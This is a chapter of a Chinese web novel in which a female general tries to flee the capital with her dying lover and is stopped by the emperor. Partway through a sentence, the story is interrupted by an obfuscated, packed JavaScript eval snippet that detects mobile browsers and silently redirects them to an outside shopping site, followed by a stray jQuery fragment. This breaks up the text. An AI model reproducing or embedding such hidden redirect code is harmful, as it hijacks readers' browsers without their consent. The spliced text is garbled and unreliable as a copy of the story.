133. 带他离开
作品:《恰巧那雪逢春》 许是问的问题太过难以回答,小包子倏然哭了,蹦到燕暖冬怀里不停抽噎。
见状,燕暖冬急忙哄它,不再问了。
许久之后,它才断断续续地开口:“你若真的不知道该怎么办,就去问谢故吧,至少,他对你,从未有私心。”
它似乎,很了解谢故,比她还了解。
燕暖冬正过视线,又坐了许久,才起身出门,去了训练场。
此时,谢故与薛离正在清点兵马,此事本来应该是她与谢故的差事,但她近日心神不宁,加上李碎琼一直昏迷不醒,便告了假,让薛离替补了。
待他们忙完,她走过去,谢故看见她并不意外,两人默契地走到四下无人的偏僻角落,薛离也看出他们有话要聊,则继续训练将士。
耳边是将士们铿锵有力的呐喊声和兵刃出鞘的清脆声。
燕暖冬先停步,风有些大,她正对着光,有些刺眼,便眯起眼睛看向谢故,直言问:“我真的可以带李碎琼离开吗?”
谢故看着她,回答与之前一样:“嗯,我可以助你们离开。”
燕暖冬心有余悸,问出了自己最纠结的问题:“可是,他只有半年寿命了,弃一国百姓而不顾,只为了与他相守半年,真的值当吗?”
谢故却笑了:“就因为他只剩下半年寿命,所以你才要带他离开。”
他话中有话,可她不明白,依然摇摆不定。
“我怕我一时冲动,往后余生都会在后悔中度过。”
人都要为自己的将来打算,她是喜欢李碎琼,可他早晚都是要死的,而她也没有喜欢到要为他殉情的地步,若是到头来两头都没抓住,往后余生她该怎么活?
谢故却摇首:“你带他走,才是后悔一时,不带他走,你往后余生才会在后悔中度过。”
燕暖冬看着他许久,总觉得,谢故也知道些什么,否则,他语气为何如此笃定?
只听他又道:“你放心,砦国没有你,还有我,但李碎琼,他除了你,这世间,再也找不到第二人代替你的位置。”
他的语气很温柔,听得她心里暖暖的,给足了她理由,也给足了她底气。
而她也无条件信任他。
之后她与谢故商议,待深夜丑时,她便带李碎琼乘坐马车出城,与谢故在城外湖边汇合。
由于时间紧凑,要收拾包袱,她便没有逗留,快马回到家中。
刚安顿好马,踏足进了院子,就见到李碎琼红着眼,满院子寻找什么,见到燕暖冬,他才安静下来,但看向她的双眸尽是幽怨。
大概知道他是太过敏感,燕暖冬走到他身边,欲带他回房间,他却抽开手,审问的语气:“你去哪里了?”
燕暖冬便开口解释:“我去找谢故……”
“我只不过昏迷一日,你就要去找他?”
话未说完,却被李碎琼语气冰冷地打断。
意识到他误会了,燕暖冬继续解释:“不是,我……”
“不是什么?你不是趁我昏迷的时候去找他?还是你不是刚从他那里回来?”
却又被李碎琼打断,步步紧逼。
因先见之明,她知道现下她说什么他都听不进去,索性,她不说话了,直视着他,听他说完。
“你不是都跟他结束了吗?怎么可以刚对我做完那种事,就转头去找别的男人,燕暖冬,在你心里,究竟把我当什么了?”
“你还说什么,带我走要考虑两日,我看你根本就是在唬我,你心里一定巴不得跟那谢故去边关,把我甩得远远的才好。”
而他说着,就把自己说哭了。
燕暖冬熟稔地为他擦拭泪水:“你看你,又胡思乱想,都不让我把话说完。”
李碎琼赌气地躲开她伸过来的手:“那你找他做什么?”
“跟他商量带你离开的事啊,我已经决定好了。”
李碎琼瞬间安静下来,也不哭了,只是脸色有些白,似乎被吓到了,他转过身,自己给自己擦干眼泪。
“我不闹了,还没到两日呢,燕暖冬,你慢慢考虑,我不急。”
说罢,他就要回房间。
燕暖冬看着他突然变乖的背影,看出他又想多了。
她无可奈何地叹了口气,将他转过来,直接讲重点:“跟我回房间收拾东西,等夜里,我带你离开,我们去个没人的地方,好好生活。”
李碎琼反应半晌,气色一点点恢复正常:“只有你跟我吗?”
燕暖冬点头,擦掉他眼角的泪痕:“对,只有你跟我。”
心中不愉快一扫而空,李碎琼转悲为喜,含泪而笑,正要开口,燕暖冬想到什么。
“哦,不对,还有小包子。”
李碎琼脸上的笑容又立马收回,随后便也不情愿地点头同意了。
两人简单收拾了包裹,主要是将银子都带上。
待子时刚过,燕暖冬便带着李碎琼和小包子坐上她提前准备好的马车,趁黑出发了。
他们来到城门下,但城门紧闭,守卫森严。
但好在,今夜是谢故安排的自己人守城,他们见到燕暖冬,随即打开了城门,燕暖冬他们顺利地出了城,来到湖边。
此时明月高悬,夜风微冷,树上开的嫩叶沙沙作响。
谢故一早就在湖边等着她。
他本一身白衣面朝湖水,似是听到马车靠近的声音,他转过身,燕暖冬也配合着叫停马车,走了下来。
李碎琼不解地跟着出来,顺着她的目光看去,见到谢故,脸瞬间阴沉,将燕暖冬拽到自己身边,语气不悦极了。
“你不是说就你跟我吗?带上他是什么意思?”
见他随时随地不分场合地吃醋,怕他对谢故说难听的话,也怕他当着谢故的面对她做一些尴尬的事。
燕暖冬抽开手,将他推回马车里:“收起你的小心肠,人家谢故是来跟咱们送别的。”
刚推他进去,但他小心肠实在收不起来,反抗着要出来,燕暖冬手指着他,威胁道:“你给我老老实实待在里面,别出来撒泼,否则我不带你离开了。”
这话果然好使,李碎琼审视着她片刻,气冲冲坐回马车,双手抱臂,暗自生闷气。
燕暖冬则扬起微笑跑到谢故身旁,跟他打招呼。
谢故温柔地笑着,在燕暖冬来到他身旁时,伸手逗了逗她肩膀上的小包子,又掏出一药瓶,递给她。
“这个药丸,每月让他吃一粒,还可保他十年寿命。”
没想到谢故会送给她如此大礼,燕暖冬怔愕地接过谢故手中的药瓶,盯着药瓶看了少顷,鼻头一酸,抬眸看向谢故。
“这么好的东西,你是怎么弄来的?”
谢故却笑着,闭口不谈,只道:“燕暖冬,再会。”
见他不愿说,燕暖冬欲言又止,最终含泪点首:“谢故,再会。”
她一直都觉得她亏欠谢故很多,好像什么都欠,却又什么都说不清,道不明,但她知道,这种亏欠,她终其一生都无法弥补。
待告别了谢故,看着他驾马离开的背影消失在她视线中,她才转身上马车。
李碎琼还在生气,别着头不看她,燕暖冬刚坐到位置,还没开口哄他,他就先阴阳怪气地问:“他背影好看吗?”
燕暖冬只觉得好笑,马车继续前进,她哄了他一阵,刚哄好,他却又流了鼻血,晕倒在她怀里。
正在她手忙脚乱地给他擦鼻血时,马车倏然停
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236074|188783||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下,夜风牵起半边车帘,透过帘外月光,燕暖冬看到了列队整齐的皇宫侍卫立在马车旁,正锁紧目光,盯着他们看。
暗觉不妙,不给她思索对策的时间,紧接着,马车外响起一中年男子虚弱无力的嗓音。
“飞奇将军,出征迫在眉睫,你这是要去哪儿啊?”
声音虽苍白,但威压感十足。
是砦皇无疑了。
小包子也被吓得缩在她怀里瑟瑟发抖。
她微蹙眉头,小心翼翼地将李碎琼平放好,又轻轻拍了拍小包子,让它待在车里,自己则调整好表情,扬起恭敬的笑脸,弯腰出了马车。
果然,她们马车被几圈侍卫包裹,而她的马车对面,停放着一盖着黄色锦布的豪华宝车,车帘半遮半敞。
里面烛火摇曳,果香扑鼻,江于宣身穿黄色龙袍,半躺在车内,脚边跪着两个侍女,给他按摩,还有四五个公公立在车外。
她未敢细看,牵起一抹笑意,跪地伏拜。
“末将叩见陛下。”
语落,一身形微胖,看着最为年长的的公公,捏着嗓子,毫不客气地道:“陛下方才问你话呢?飞奇将军为何不回答?”
燕暖冬弯腰不起,毕恭毕敬地回道:“回陛下,末将忧心战事,痛惜百姓安康,彻夜难眠,想透透气,便擅自出城,望陛下恕罪。”
此言一出,对面车里传来一声嗤笑,紧接着就是两声烟哑的咳嗽声。
那公公随即心照不宣,呸了一声,怒嗔:“胡言乱语,欺君可是杀头之罪,燕将军,你怎敢的?”
燕暖冬此时紧张到手心出汗,心中腹诽,看样子,他们好像知道她要带李碎琼出城了,被揭穿倒是事小,毕竟她现在还有利用价值,可万一,砦皇知道了李碎琼的身世,那可就麻烦了。
虽然她不愿意承认,但她心里比谁都清楚,李碎琼确实是洲国的祥泽五殿下。
她强装镇定,笑脸依旧:“公公这是哪里的话?末将听不懂。”
公公看了眼车里,似是得到某种应许,他学着砦皇冷嗤一声。
“天色不早了,陛下还要休息,咱家也不绕弯子了,便直言了。”
他语气骤然严肃:“燕将军究竟是要出城透气,还是要携带洲国五皇子夜逃?”
砦国果然知道了。
而他是君,她是臣,此时装傻充愣全然无效,只会让她死得更快。
她不禁脊背发凉,大脑飞速运转,转念一想,觉得砦皇不一定要取她与李碎琼性命,否则,他早就动手了,何必推延到今日。
思索片刻,她试探地问:“陛下不想让李碎琼离开京城?”
回答她的依然是那公公,他满意地笑了:“不愧是能征善战的飞奇将军,跟你说话,就是轻松。”
燕暖冬暗翻一个白眼,用对付洲国人的那套说辞:“陛下,您认错了,李碎琼他并非洲国五殿下,先前洲国人寻过他,都说他不……”
车内的江于宣终于开口,打断了她:“他是,便能活,若不是,即刻便死,飞奇将军,为他选一条路吧。”
燕暖冬指尖不由得陷进土里,没有利用价值之人,与皇权贵胄而言,只有死路一条。
可她好不容易下定决心带李碎琼远走高飞,与他好好在一起,为何事事不如意,总有这么多险阻?
她咽下满腔不公:“恳求陛下,出征时,可否特允,让末将带上李碎琼一起去边关,末将以人头担保,绝不让他回到洲国。”
字字诚恳,可头顶却传来尖锐的笑声,是毫不掩饰的嘲笑,嘲笑她痴心妄想。
“燕将军,怎的刚夸完你机敏,就犯起糊涂来了?”
“你可见过谁家养鸟,是养在笼子外的?”

